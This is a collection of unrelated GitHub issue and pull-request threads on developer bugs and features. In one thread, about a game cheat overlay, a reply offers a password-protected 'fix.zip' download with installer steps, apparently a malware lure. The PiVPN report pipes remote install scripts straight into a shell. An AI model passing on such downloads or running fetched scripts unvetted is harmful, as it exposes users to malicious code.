explain how to translate

I can not find any place of a pot file or even the loacle folder is not there. So it looks like another translation concept than I am used to. Please provide some documentation how to translate your module.

Translations have been added: https://github.com/cmfcmf/MediaModule/tree/master/Resources/translations

But please note that translations coming from JavaScript aren't translated due to a Core issue: https://github.com/zikula/core/issues/2601

The translation looks still different from what I know. Is there any place where I can found more information about folder and file name structure?

There is a bit of it in here: https://github.com/zikula/core/blob/1.4/src/docs/en/dev/zikula_sf_translator.md

Thanks. That givey me my answer


[DF] Upgrade DataFusion to rev  c0b4ba

I am about to cut DataFusion 11.0.0 RC1 so I thought now would be a good time to bump the version again.

Codecov Report

:exclamation: No coverage uploaded for pull request base (datafusion-sql-planner@9d4b9d1). Click here to learn what that means.
The diff coverage is n/a.

@@                    Coverage Diff                    @@
##             datafusion-sql-planner     #689   +/-   ##
=========================================================
  Coverage                          ?   66.82%
=========================================================
  Files                             ?       73
  Lines                             ?     3635
  Branches                          ?      747
=========================================================
  Hits                              ?     2429
  Misses                            ?     1061
  Partials                          ?      145

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Thanks @andygrove! Do you mind pulling in the latest changes so we can see if clippy raises any warnings?


[Bugfix] Fixed inconsistent behavior in enum field

WHY
Inconsistent behavior when providing enum_class
BEFORE - What was wrong? What was happening before this PR?
Providing enum_class will output options in this format [$enumName => $enumName] since "$field['enum_class'] instanceof \BackedEnum" will always return false.
AFTER - What is happening after this PR?
Providing enum_class will behave the same as taking the enum class from the model
HOW
How did you achieve that, in technical terms?

Is it a breaking change?
No
How can we test the before & after?
Cast an attribute to an Enum and setup the field with 'enum_class' => Enum::class and without

Hello @susanu
Thanks for pointing this out. I aknowledge that bit slipped me and was dead code.
Since we were about to change the field I decided to do a little bit of refactoring and used the ReflectionEnum to deal with PHP Enums making the code more clear to read and understand. https://github.com/Laravel-Backpack/CRUD/pull/4741
I think now it's working as expected on all the scenarios.
I will be closing this PR, thanks for the time spent here, sorry it didn't get merged 🙏


star man but what wrong with overlay?

+star for this thank you very much i changed driver for my undetected driver I have an overlay problem the background cheat comes black and I don't even have access to apex if the cheat is open because the "background" overlay stays there all the time

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


[BUG] Syntax highlighting error when using multiple brackets in zsh

Steps to reproduce

write a file contained lines below:

$((1+(2+(3))))

set filetype=zsh
look at highlight, it will be like this

Expected behaviour
The parentheses are highlighted right.
That is, the first two parentheses and the last two parentheses are rendered in pairs.
Operating system
Arch Linux rolling
Version of Vim
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Nov 28 2021 05:08:35) Included patches: 1-3687
Logs and stack traces
No response

@91khr thinks it can be fixed by one line patch.
But she was too shy, so I posted here instead of her.
From 7a3feacade18aeabcd1ecd5f903a6c98a8b9f821 Mon Sep 17 00:00:00 2001
From: Virginia Senioria<EMAIL_ADDRESS>Date: Fri, 3 Dec 2021 19:27:41 +0800
Subject: [PATCH] fix: highlight zsh arithmetic expression parentheses
 correctly

---
 runtime/syntax/zsh.vim | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/runtime/syntax/zsh.vim b/runtime/syntax/zsh.vim
index 819c41922..03a10e469 100644
--- a/runtime/syntax/zsh.vim
+++ b/runtime/syntax/zsh.vim
@@ -365,7 +365,7 @@ syn region  zshGlob             start='(#' end=')'
 syn region  zshMathSubst        matchgroup=zshSubstDelim transparent
                                 \ start='\%(\$\?\)[<=>]\@<!((' skip='\\)' end='))'
                                 \ contains=zshParentheses,@zshSubst,zshNumber,
-                                \ @zshDerefs,zshString keepend fold
+                                \ @zshDerefs,zshString fold
 " The ms=s+1 prevents matching zshBrackets several times on opening brackets
 " (see https://github.com/chrisbra/vim-zsh/issues/21#issuecomment-576330348)
 syn region  zshBrackets         contained transparent start='{'ms=s+1 skip='\\}'
--
2.34.1

It is git format patch, so you can git apply it directly.

Please move this discussion over to https://github.com/chrisbra/vim-zsh/


Category header inaccurate, displaying wrong items, scroll pop up animation lost

There's a little bit of weirdness going on with the category header display when grouped by category. The category header itself is correct (in this case, Homework should be the first category), but the items contained therein are actually those that belong to the "Participation." Additionally, the item "Final," which belongs to the "Final" category, is showing up after the category subtotal for Participation, still within the "Homework" category.

Also, the styling of the percentage in the category header is now a little hard to read, and the subtle fade-in animation following scroll has been lost - it now just pops into place.

I think the ordering problem will be fixed in #1789 which is awaiting merge.  Will double check once that has been merged.

Hi @kyleblythe.  I think this was resolved in the PR for #1789 which contained a little refactor of the code responsible for sorting those columns.

Hey @payten ,
Yep - the category ordering is working great. Might it be possible to change the styling of the category percentages a bit? Right now the percentage text seems to have a white drop-shadow, which makes it a little hard to read:

Confirmed.


Remote Debugging Library Functions

From @waleedka on April 29, 2017 23:6
I'm using remote debugging (with ptvsd) to debug my Python 3.5 code running in a Docker container. For the most part it's working great, I can put breakpoints and step through the code. But I can't seem to step into library functions. The "step into" command works when stepping into a function defined in my source code file, but not on functions defined in a library I've imported. Further, if the library function calls into my code, the call stack shows "Unknown Source" (see image).
I tried to add the "DebugStdLib" as explained here but vscode complained that "debugOptions" is not an allowed property. I'm guessing it doesn't work with remote type of debugging?
Environment data
VS Code version:  1.11.2
Python Extension version:  0.6.3
Python Version:  3.5.2
OS and version:   OSX 10.11.6
OS running in the Docker container: Ubuntu 16.04

launch.json
        {
            "name": "Attach (Docker)",
            "type": "python",
            "request": "attach",
            // localRoot == remoteRoot. Folder in the docker container mapped to folder in host OS
            "localRoot": "${workspaceRoot}",
            "remoteRoot": "${workspaceRoot}",
            "port": 8888,
            "secret": "my_secret",
            "host": "localhost",
            //      vscode didn't like me adding this property. Says property is not allowed
            //"debugOptions": [
            //  "DebugStdLib"
            //]
        }

Any tips to get this working? Or is this not supported in vscode?
Copied from original issue: DonJayamanne/pythonVSCode#924

Yes, unfortunately debugging library functions won't work at this stage. Will look into this.

This should be doable in the new debugger, but we should double-check.

Closing this in favor of #1322


opcache.max_accelerated_files=5413

Description of the feature
currently, opcache.max_accelerated_files seems to have a fixed value. My nextcloud is complaining that the #of files in the cache exceeds this limit. Would it be possible to make this parameter configurable (maybe along with some other .ini parameters)?
Beneftits of feature
Bigger sites might benefit from opcache and other .ini tuning settings

Yes, absolutely. Will do something about it in the next couple of days.

7.2.0 adds 4 new environment variables to change related to APC and OPCache.
I've also started rebuilds on latest on the most pulled images: tiredofit/wordpress, tiredofit/bookstack, tiredofit/freescout, tiredofit/fusiondirectory:1.4, and versioned builds for tiredofit/nextcloud:2[3,4,5] - Let me know how this works out.

As expected - it works perfect for Nextcloud 24. Also, the newly wordpress image works fine. So we can derive that the others work as well....


The Saved Songs List does not refresh when the user creates a new song

The Saved Songs List should add the new song at the top after it has been first saved.

works just fine :D


Typescript typing errors

I have this error while running tslint in a react, typescript project. But the weird thing about it is that if I use my global tslint command then it's okay but if I use a internal tslint I installed in my project then there're these errors.
Error at node_modules/styled-components/typings/styled-components.d.ts:23:52: Generic type 'StyledComponentClass<P, T, O>' requires 3 type argument(s).
Error at node_modules/styled-components/typings/styled-components.d.ts:33:47: ',' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:33:49: Duplicate identifier 'P'.
Error at node_modules/styled-components/typings/styled-components.d.ts:41:47: ',' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:41:49: Duplicate identifier 'P'.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:37: ',' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:39: '>' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:41: Expression expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:43: Cannot find name 'attrs'.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:48: ')' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:50: 'Attrs' only refers to a type, but is being used as a value here.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:68: '(' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:69: ';' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:71: 'ThemedStyledFunction' only refers to a type, but is being used as a value here.
Error at node_modules/styled-components/typings/styled-components.d.ts:44:112: '(' expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:45:1: Declaration or statement expected.
Error at node_modules/styled-components/typings/styled-components.d.ts:47:33: Generic type 'ThemedStyledFunction<P, T, O>' requires 3 type argument(s).
Error at node_modules/styled-components/typings/styled-components.d.ts:49:46: Generic type 'ThemedStyledFunction<P, T, O>' requires 3 type argument(s).
Error at node_modules/styled-components/typings/styled-components.d.ts:52:64: Generic type 'ThemedStyledFunction<P, T, O>' requires 3 type argument(s).
Error at node_modules/styled-components/typings/styled-components.d.ts:66:33: Generic type 'ThemedStyledFunction<P, T, O>' requires 3 type argument(s).

Curious: which typescript version are you using?

@marvinhagemeister tslint 5.4.3 typescript 2.2.1

/cc @styled-components/typers

@chuson1996 can you try with TS 2.3? I'll check if there's any issue in the meanwhile

@patrick91 upgrading typescript to 2.3 fix the bug. Thanks.


Revert "[No QA] Move GitHub README from .github/workflows/ to .github/"

Reverts Expensify/Expensify.cash#3144 because it replaces the main README at the project root

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.


Two step

Since Fracada is just a demo, we'll probably be better just using one file ready for the playground


LaTeX syntax highlighting

Is there a plan to enable LaTeX syntax highlighting? There exists a treesitter parser for it:
https://github.com/latex-lsp/tree-sitter-latex

We have one issue for all the tree-sitter grammars: https://github.com/lapce/lapce/issues/272

Cool. So should I close this issue and add to #272?

I've added it to the list, and I'm closing this one because I don't see how #1104 is relevant :) Thanks for the request!


Filter on connection causes error "lookup was already seen with a different queryset"

I have types and schema like:
@gql.django.type(GroupMembership)
class GroupMembershipType(relay.Node):
    group: "GroupType"
    is_auto: gql.auto
    ...

@gql.django.filter(Group, lookups=True)
class GroupFilter:
    name: gql.auto

@gql.django.type(Group, filters=GroupFilter)
class GroupType(relay.Node):
    name: gql.auto
    groupmembership: Optional[List[GroupMembershipType]]
    ...

@strawberry.type
class Query:
    all_groups: relay.Connection[GroupType] = gql.django.connection()

schema = strawberry.Schema(query=Query, extensions=[DjangoOptimizerExtension])

When I run query like this everything is fine:
{
  allGroups {
    edges {
      node {
        name
        groupmembership {
          isAuto
        }
      }
    }
  }
}

But when I use filters on allGroups like allGroups (filters: {name: {startsWith: "foo"}}) it returns error:
{
  "data": null,
  "errors": [
    {
      "message": "'groupmembership_set' lookup was already seen with a different queryset. You may need to adjust the ordering of your lookups.",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "allGroups"
      ]
    }
  ]
}

Versions:
strawberry-django-plus==1.10.2
strawberry-graphql==0.111.2
strawberry-graphql-django==0.2.5

+1, same problem with me
@gql.django.filter(model=Shelf, lookups=True)
class ShelfFilter:
    rack: gql.auto
    bay: gql.auto
    row: gql.auto

@gql.django.type(model=models.Shelf, filters=ShelfFilter)
class Shelf(relay.Node):
    rack: Rack
    bay: gql.auto
    row: gql.auto
    bins: List["Bin"]

@gql.django.type(model=models.Bin)
class Bin(relay.Node):
    shelf: Shelf
    position: gql.auto
    size: gql.auto
    label: gql.auto

query:
{
  shelves(filters:{bay:{iContains:"A"}}) {
    edges {
      node {
        id
        rack {
          id
          name
        }
        bay
        row
        bins {
          id
          label
        }
      }
    }
  }
}

results:
{
  "data": null,
  "errors": [
    {
      "message": "'bins' lookup was already seen with a different queryset. You may need to adjust the ordering of your lookups.",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "shelves"
      ]
    }
  ]
}

Thanks for reporting this. Will take a look at this very soon!

@JanBednarik @darwinhace this should be fixed in the release 1.11 that I'm doing atm. Please reopen if it is not.

It's working. Thank you.


Update azure-stack-registration.md

Fix ASDK Registration link.

@KennyLowe : Thanks for your contribution! The author, @jeffgilb, has been notified to review your proposed change.

@ktoliver : Thanks for your contribution! The author, @jeffgilb, has been notified to review your proposed change.

Merging broken link fix


[LB] - When all the targets are in stopped/removed state , the port on the host continues to bound to the LB agent.

Version - V.14.2
Steps to reproduce the problem:
Create LB with 3 targets.
Stop all the 3 containers.
After this , the port on the host continues to be bound to the LB agent.
Even after the containers are removed , the port on the host continues to be bound to the LB agent.
Should the LB agent be stopped , since it is not servicing any container at this time ?
The port on the host that is pointing to the LB agent needs to be released.

The comments on #430 would relate to this.
@alena1108 wrote:
It was designed this way to simply avoid more complicated logic. Today haproxy lifecycle is controlled by adding/removing host to the load balancer. If we do it based on adding/removing listener/target, we will have to take care of more use cases (On removal: if the listener removed is the last listener, or is the target removed is the last target; On creation: when target gets added, we should check if there is at least one listener there, etc). We can address this one later after major functional bugs are fixed.

Tested with server version - V0.16.0
Version - V.14.2
Create LB with 3 targets.
Stop all the 3 containers.
After this , the port on the host is released.LB agent continues to be running.
Started 1 container . This resulted in the LB rules being programed in LB agent and port being bound on the host.
Delete this container. The port on the host is released. LB agent continues to be running.
Works as expected. Closing this issue.


The analytics screen still has a bad layout, a different font, and the illustration looks out of place, compared with the Knowledge panels the users has just seen before

What

The analytics screen still has a bad layout
The analytics screen has a different font
The analytics screen has an illustration that looks out of place, compared with the Knowledge panels the users has just seen before (filled, vs outline)

Screenshot

Part of

#561

Hi @teolemon,
Do we have a mockup for this screen?

@cli1005 is now assigned.
Here's what v1 looked like:

We’re using the standards analytics icon in v1 https://materialui.co/icon/analytics

Here is a snapshot of result, please let me know if it is ok:


feat: add transactions and nft info to the history response

Description
This PR adds transfers object to the account history response format to add:

Fiat value of transaction
Crypto value of transaction
Url(s) to token(s) images
Url(s) to nft image
NFT name / Collection name

The new response format is:
data: [
 {
    "id": "1a5a22ea3cb35fdb9080c09fe7b57ecc",
      "metadata": {
        "operationType": "mint", // Enum: approve, borrow, burn, cancel, claim, deploy, deposit, execute, mint, receive, repay, send, stake, trade, unstake, withdraw
        "hash": "0x70783a3580f2eb63f3c35fdcdc8feffbe591eea1beaaec6eb4592b19bfb73e45",
        "minedAt": "2023-10-29T14:25:29Z",
        "sentFrom": "0x66eeb19f3ef93312541009f855ff4c900adb3450",
        "sentTo": "0xa2a829f1fd922f283282d0d2367f69a13167a9b1",
        "status": "confirmed", // Enum: confirmed, failed, pending
        "nonce": 3126
      }

    // New object
    "transfers": [
       {
         direction: "in", // Enum: in, out, self
         quantity: {
              numeric: "35.1234",
         },
         value: 1350,
         price: 10,
         fungible_info: {
           name: "Bankless BED Index",
           symbol: "BED",
           icon_url: "https://token-icons.s3.amazonaws.com/0x0391d2021f89dc339f60fff84546ea23e337750f.png",
         },
         nft_info: {
           name: "#10 De·genesis",
           content: {
             preview: {
               url: "https://token-icons.s3.amazonaws.com/0x1494ca1f11d487c2bbe4543e90080aeba4ba3c2b.png",
               content_type: "image/png",
             },
             detail: {
               url: "https://token-icons.s3.amazonaws.com/0x1494ca1f11d487c2bbe4543e90080aeba4ba3c2b.png",
               content_type: "image/png",
             }
           }
         }
       }
    ]
 }
]

The transfers object contains data from the zerion wallet transactions.
Resolves #339
How Has This Been Tested?
account_history_check functional test in this PR.
Due Diligence

[ ] Breaking change
[x] Requires a documentation update
[ ] Requires a e2e/integration test update

awesome!


PHP: add call invoker

Hope this works as CallInvoker in C# does.
The original PR for C# is https://github.com/grpc/grpc/pull/5928
CallInvoker is described as to get rid of the tight coupling between MathClient and a "real" Channel.  as well as allows intercepting of the calls.
It should work together with #15761.
I will add tests if this PR and #15761 are approved before merging.
The GCP extension will use ChannelInterface and CallInvoker to maintain a channel pool. The implementation and tests drafts can be seen at PR: add GCP extension support via call invoker
Hi @stanley-cheung , please review this API when you have time. Thanks!
This is the only way I find to hook a self-defined channel as well as intercept pre-process and post-process for each RPC naturally.
The purpose of the GCP extension is picking a channel from the pool inside call->start() and save/delete channel from the channel pool inside call->getStatus().

Bazel Debug build for C/C++ - #15610
Bazel Opt build for C/C++  - #15610
There are two tests don't have logs: Bazel ASAN build for C/C++ and Bazel UBSAN build for C/C++. I think it doesn't caused by this PR. In addition, UBsan C and ASAN C are passed.


Support for Android app bundles

Android app bundle is an important new build system By Google, aimed at reducing build artifacts size : https://developer.android.com/platform/technology/app-bundle
It has been added to the standard "Android build" Bitrise step : https://github.com/bitrise-steplib/bitrise-step-android-build/releases/tag/0.10.0
It would be great to have an option to generate this with this Ionic archive step !

Hi @QuentinFarizon! The best place to recommend this would definitely be in our feature request subforum. If you could take the time to post this in there and place a vote on it, that would be the best way to bring this to our developer's attention and would be much appreciated. Thanks! 😄

Done : https://discuss.bitrise.io/t/support-for-android-app-bundles-for-ionic/11398
I could try to make a pull request, if someone would be able to point where changes need to be made

It's still relevant and very much needed

Hello,
It's Mefi here from the Bitrise CoreSteps Team. Thanks for reaching out helping us and the mobile community to have a better experience with Bitrise steps. 💜
We started to have a broader review of all the open issues and PRs and we are continuously prioritizing these in our sprints.
We reviewed this issue and we found it to be a valid feature request. We are collecting new feature requests on our Discuss forum where you can upvote and discuss further details. As I see, you have already created a post. 🙏 As this one is on our current roadmap, I close this issue and we'll share an update once we released the new version of the step.
Happy building! 🚀


Grafana Mesh Dashboard shows low success rate for everything due to incorrect column alignment

Describe the bug
This is basically a Helm-applied Istio install with only prometheus/grafana enabled and includeIPRanges set to the k8s network. The grafana mesh dashboard shows mostly a < 1% success rate for all services, despite the global success rate in the header being 99.9%. The services are working fine so it appears to be a display issue. I have also seen some numbers as high as 1000%.
Expected behavior
Success rate on dashboard is accurately bound between 0% and 100%.
Version
Istio 1.0.2
Kubernetes 1.9.3
Installation
Helm template with includeIPRanges set to "<IP_ADDRESS>/10" and prometheus/grafana enabled.
Environment
AWS / Kops

Thanks for the bug report. A PR to fix this will be merged in shortly. The value in column F is the real success rate.

Thanks @mandarjog - I was just going to update that it looks similar to something referenced here: https://github.com/istio/istio/issues/7943#issuecomment-416736876
Is there a temporary fix by manually bumping an image version that I can do?

I installed 1.1.0-snapshot.1 and this appears to be fixed

Thanks @k, I confirmed that fixes this issue as well. So the released dashboard in 1.0.2 is simply busted? I suppose this can be closed then but if this should be reopened to track a fix for 1.0.x, feel free.


Compile Error, extension method 'TotalBytesToDownloaded' not found

Assets\Plugins\play.assetdelivery.addressables\Runtime\ResourceHandlers\AssetPackAssetBundleResourceHandlerBase.cs(19,72): error CS1061: 'PlayAssetPackRequest' does not contain a definition for 'TotalBytesToDownloaded' and no accessible extension method 'TotalBytesToDownloaded' accepting a first argument of type 'PlayAssetPackRequest' could be found (are you missing a using directive or an assembly reference?)

Assets\Plugins\play.assetdelivery.addressables\Runtime\ResourceHandlers\AssetPackAssetBundleResourceHandlerBase.cs(47,61): error CS1061: 'PlayAssetPackRequest' does not contain a definition for 'BytesDownloaded' and no accessible extension method 'BytesDownloaded' accepting a first argument of type 'PlayAssetPackRequest' could be found (are you missing a using directive or an assembly reference?)

be.khepri.play.assetdelivery.addressables : 1.0.0-rc4
Google PAD version 1.8.2 (2023 - 03 - 10)

I fixed it by adding this value to Google PAD
not a good approach but solve the issue

i think this package need to updated


Handle case where token has expired...

     Running `target\debug\tdi.exe me`
Error: Graph error:
GraphError {
    headers: Some(
        GraphHeaders {
            url: "https://graph.microsoft.com/v1.0/me",
            status: 401,
            header_map: {
                "transfer-encoding": "chunked",
                "content-type": "application/json",
                "strict-transport-security": "max-age=31536000",
                "request-id": "1740feb8-b33a-4c08-a6ee-ab5cfc5a18c4",
                "client-request-id": "1740feb8-b33a-4c08-a6ee-ab5cfc5a18c4",
                "x-ms-ags-diagnostic": "{\"ServerInfo\":{\"DataCenter\":\"South Central US\",\"Slice\":\"E\",\"Ring\":\"5\",\"ScaleUnit\":\"003\",\"RoleInstance\":\"SN4PEPF0000050E\"}}",
                "www-authenticate": "Bearer realm=\"\", authorization_uri=\"https://login.microsoftonline.com/common/oauth2/authorize\", client_id=\"00000003-0000-0000-c000-000000000000\"",
                "date": "Fri, 23 Sep 2022 11:57:49 GMT",
            },
        },
    ),
    code: 401,
    error_message: ErrorMessage {
        error: Some(
            ErrorStatus {
                code: Some(
                    "InvalidAuthenticationToken",
                ),
                message: Some(
                    "Access token has expired or is not yet valid.",
                ),
                inner_error: Some(
                    InnerError {
                        code: None,
                        request_id: Some(
                            "1740feb8-b33a-4c08-a6ee-ab5cfc5a18c4",
                        ),
                        date: Some(
                            "2022-09-23T11:57:50",
                        ),
                    },
                ),
            },
        ),
    },
}

If this happens, we should refresh the locally stored auth token with a new one, versus the whole auth life cycle, which would be a different error generated if the auth code had expired.

The refresh_token is coming back with the authorization_code flow in the graph-rs lib.  Need to investigate more.

https://github.com/sreeise/graph-rs/discussions/380 - asking the question upstream.


PID files aren't getting cleaned up after a hard restart/crash

The crash was not related to anything Homebrew, but after it booted back up I noticed Apache wouldn't start. Trying some things, it looks like the PID file it originally created keeps lingering around and Apache itself refuses to start because of it. The same will probably true for any other service that uses PID files on its own.
Some shell output, with extra line breaks to make it a bit more readable:
$ brew services start httpd
Bootstrap failed: 5: Input/output error
Try re-running the command as root for richer errors.
Error: Failure while executing; `/bin/launchctl bootstrap gui/501 /Users/gottemhams/Library/LaunchAgents/homebrew.mxcl.httpd.plist` exited with 5.

$ brew services restart httpd
Stopping `httpd`... (might take a while)
==> Successfully stopped `httpd` (label: homebrew.mxcl.httpd)
==> Successfully started `httpd` (label: homebrew.mxcl.httpd)

$ brew services | grep ^httpd
httpd   stopped         gottemhams ~/Library/LaunchAgents/homebrew.mxcl.httpd.plist

$ /opt/homebrew/opt/httpd/bin/httpd -D FOREGROUND
httpd (pid 2490) already running

$ echo $?
0

$ ps -p 2490
  PID TTY           TIME CMD
 2490 ??         0:00.25 /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid C128B

$ cat /opt/homebrew/var/run/httpd/httpd.pid
2490

$ rm /opt/homebrew/var/run/httpd/httpd.pid
$ brew services start httpd
Bootstrap failed: 5: Input/output error
Try re-running the command as root for richer errors.
Error: Failure while executing; `/bin/launchctl bootstrap gui/501 /Users/gottemhams/Library/LaunchAgents/homebrew.mxcl.httpd.plist` exited with 5.

$ brew services stop httpd
Stopping `httpd`... (might take a while)
==> Successfully stopped `httpd` (label: homebrew.mxcl.httpd)

$ cat /opt/homebrew/var/run/httpd/httpd.pid
cat: /opt/homebrew/var/run/httpd/httpd.pid: No such file or directory

$ brew services start httpd
==> Successfully started `httpd` (label: homebrew.mxcl.httpd)

$ cat /opt/homebrew/var/run/httpd/httpd.pid
98579

$ ps -p 98579
  PID TTY           TIME CMD
98579 ??         0:00.12 /opt/homebrew/opt/httpd/bin/httpd -D FOREGROUND

Since Homebrew does know that the service is not actually running despite there being an actual process with that exact PID, I would presume that it's fairly easy to recognise if the PID file should be removed/emptied upon receiving a start command?
Also notice how I need to explicitly stop the service first, even though brew services already says stopped. I think Homebrew doesn't automatically launchctl bootout when the service previously stopped unexpectedly (or never fully starts up, in this case)? So it tries to execute launchctl bootstrap for a service that's still "active", resulting in that particular error. While technically this makes perfect sense, it's a bit inconsistent with the output of brew services saying it's stopped. You would expect simply brew services start ... to be sufficient.
In case it matters: the version of my homebrew-services is commit 34637816b6d34a6f9414758ceaa410437c4e997c, which should be latest master.

brew services has never tried to cleanup PIDs on a crash. It would be a good feature request for it to do so, if that's what you're proposing, but to set expectations: it might be a while before anyone who isn't you picks this up and implements it.
Also, yes, Homebrew doesn't automatically run launchctl bootout for you.
brew services is a relatively thin wrapper (on macOS) around launchctl.

it might be a while before anyone [...] picks this up

That's cool, at least I know why it won't start and can get it working again relatively easily.

Any way to just keep the issue open without having to comment to remove the stale label all the time? Or is there a better place to keep this request?

Little soon to be saying that already don't you think? This has been pending for barely a month, I don't expect anyone to have time that quickly.

@GottemHams In this case: no-one else has chipped in (user or maintainer) with either "I have a similar problem" or "I would like to work on this" which is why we're closing this out.

That's probably because not many people are even looking at this particular repo to begin with.


[Install Failed]: fails on "using VPN: WireGuard" and simply hangs forever, no error output

In raising this issue I confirm that

[X] I have read the documentation
[X] I have read and understood the PiVPN General Guidelines
[X] I have read and understood the PiVPN Troubleshooting Guidelines
[X] The issue I am reporting isn't a duplicate, see closed issues and open issues.
[X] I have searched for similar issues and solutions
[X] I can replicate the issue even after a clean OS installation

Describe the issue
This is a fresh raspberry pi os install on a pi4 8gb model with nothing installed except it being up to date and docker installed. The script simply hangs after selecting wireguard as the preferred vpn.  I am aware of a screenshot taken on a mac which seems to show the same problem on a closed issue, but there was no solution posted there.  There doesn't seem to be anything within the docs about the problem either (unless I am misreading something).  The previously mentioned closed post said something about octopi and the docs mention a conflict of git wrappers, but octopi is not installed (this is a clean, fresh install with nothing running except the basic defaults on raspberry pi os lite, bookworm with ssh enabled and docker installed).
Since there is a containerized version in the works, I am assuming docker doesn't conflict with anything.
EDIT: a fresh install without docker also produces the same error.
EDIT2: the aforementioned closed post with no solution is here https://github.com/pivpn/pivpn/issues/1704
Expected behavior
script completes or outputs an error code when it fails.
Please describe the steps to replicate the issue
fresh install of latest raspberypi os lite using the pi installer,
ssh into pi,
sudo -i
apt update
apt upgrade
curl -sSL https://get.docker.com | sh
curl -L https://install.pivpn.io | bash
Have you taken any steps towards solving your issue?
Its hanging somewhere after line 1676 (I think) under auto_install/install.sh but I do not have a proposed solution yet and there doesn't seem to be any obvious "get stuck here if wrong var" type of loop prior to the next expected output to the user so I am unsure as to what the problem is.
Going the gitclone rout and running install.sh also produces the same error.
If it helps, the data generated in /tmp/setupVars.conf is as follows:
PLAT=Debian
OSCN=bookworm
USING_UFW=0
pivpnforceipv6route=1
IPv4dev=eth0
dhcpReserv=1
IPv4addr=<IP_ADDRESS>/8
IPv4gw=<IP_ADDRESS>
install_user=wgtest
install_home=/home/wgtest
VPN=wireguard
Screenshots
No response
Where did you run pivpn?
RaspberryPi
Please provide your output from uname -a
Linux wgtest 6.1.0-rpi7-rpi-v8 #1 SMP PREEMPT Debian 1:6.1.63-1+rpt1 (2023-11-24) aarch64 GNU/Linux
Details about Operative System
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Duplicate of https://github.com/pivpn/pivpn/issues/1518


UE incompatible with pythonssss Preset Text node

If the Preset Text node is connected to a UE node, it breaks.

It seems to be because the Preset Text node isn't serialized (it's pure javascript) but UE references it. Push it through a blank String node and it's fine. My initial guess is that Preset works by pushing it's value into the downstream nodes in a way that UE doesn't support.

Yup - at presetText.js:145
// For each output link copy our value over the original widget value

I've made a suggestion to the author of pythonsssss that we could fix this collaboratively.
https://github.com/pythongosssss/ComfyUI-Custom-Scripts/issues/210


Force optimizations when compiling Walk module

The functions defined in the Walk module are relatively simple while
being called recursively on possibly long documents. It hence seems
sensible to force optimizations for this module, as the benefits likely
outweigh the additional compile time.
This also reduces the performance cost of having a default
implementation for walk based on walkM.

Just wondering why we'd want to make it impossible to disable the optimizations.  For production, one would normally compile with optimizations anyway, right?

I see that -O1 is the default for cabal/stack, and thus what we're using for pandoc and pandoc-types, so maybe it makes sense to ensure that this one module is compiled with higher optimization.


Bootstrap/Font Awesome?

Is this project going to use Bootstrap at all for things like a mobile menu and standardized component styling?
What about Font Awesome for download icons, content icons, etc.?

Is this project going to use Bootstrap at all for things like a mobile menu and standardized component styling?
No, we won't.

What about Font Awesome for download icons, content icons, etc.?
I'm not aware that we need a lot of icons right now. When we need some, we'll use SVG images instead of icon fonts for performance and optimized mobile display.

Ok, was just curious as I was working on the site


File Explorer fix for #1787

Description
Fix for #1787. File Explorer Dialog now closes when save is confirmed.
Type of change

[X] Bug fix (non-breaking change which fixes an issue)

How to test

Open or save a new file. GitHub button text will change to reflect the file name.
If changes are made in the editor after the latest open or save, the color of the file name text will change to orange. If there are no such unsaved changes, the color of the file name text will be blue.
Additional dialog to confirm a save for a new file has been removed.
Use the save-as option to create a new file. The file explorer should not linger.

Checklist

[X] I have tested this code

Pull Request Test Coverage Report for Build 949461254

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.005%) to 30.182%

Totals

Change from base Build 949302818:
0.005%

Covered Lines:
3230

Relevant Lines:
9872

💛  - Coveralls


Do not crash when a version information is missing in bower.json

This is a second attempt to fix #45. I implemented the suggestions from #45 and added tests.
A missing version for local components still crashes but now with a better error message.
For bower components _release is preferred over version. (version is missing in .bower.json if there is not git tag in the repositiory matching the version number in bower.json, so the commit ID is used for _release.)

@faassen: Could you please review and merge this PR? We just had the issue in another project, since the latest release of https://harvesthq.github.io/chosen ships with a broken bower.json. Head is OK, but has no version info.

Sorry for the delay, this one had slipped my attention. I just merged it in.


fix: misleading no available data message on empty result sets (#1275)

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (5c964af) 71.44% compared to head (4d172e5) 41.74%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@             Coverage Diff             @@
##             main    #1310       +/-   ##
===========================================
- Coverage   71.44%   41.74%   -29.71%
===========================================
  Files         383      137      -246
  Lines       24524     7201    -17323
  Branches     1575     1575
===========================================
- Hits        17521     3006    -14515
+ Misses       7003     4195     -2808

Files
Coverage Δ

cases/vueapp/src/components/CaseList/PaneCases.vue
24.52% <ø> (ø)

cohorts/vueapp/src/components/CohortList/Table.vue
79.03% <ø> (ø)

svs/vueapp/src/components/SvFilterResultsTable.vue
11.30% <ø> (ø)

...iants/vueapp/src/components/FilterResultsTable.vue
2.85% <ø> (ø)

... and 246 files with indirect coverage changes


Revert "Convert TF models using TF Python API."

Reverts openxla/iree#12758
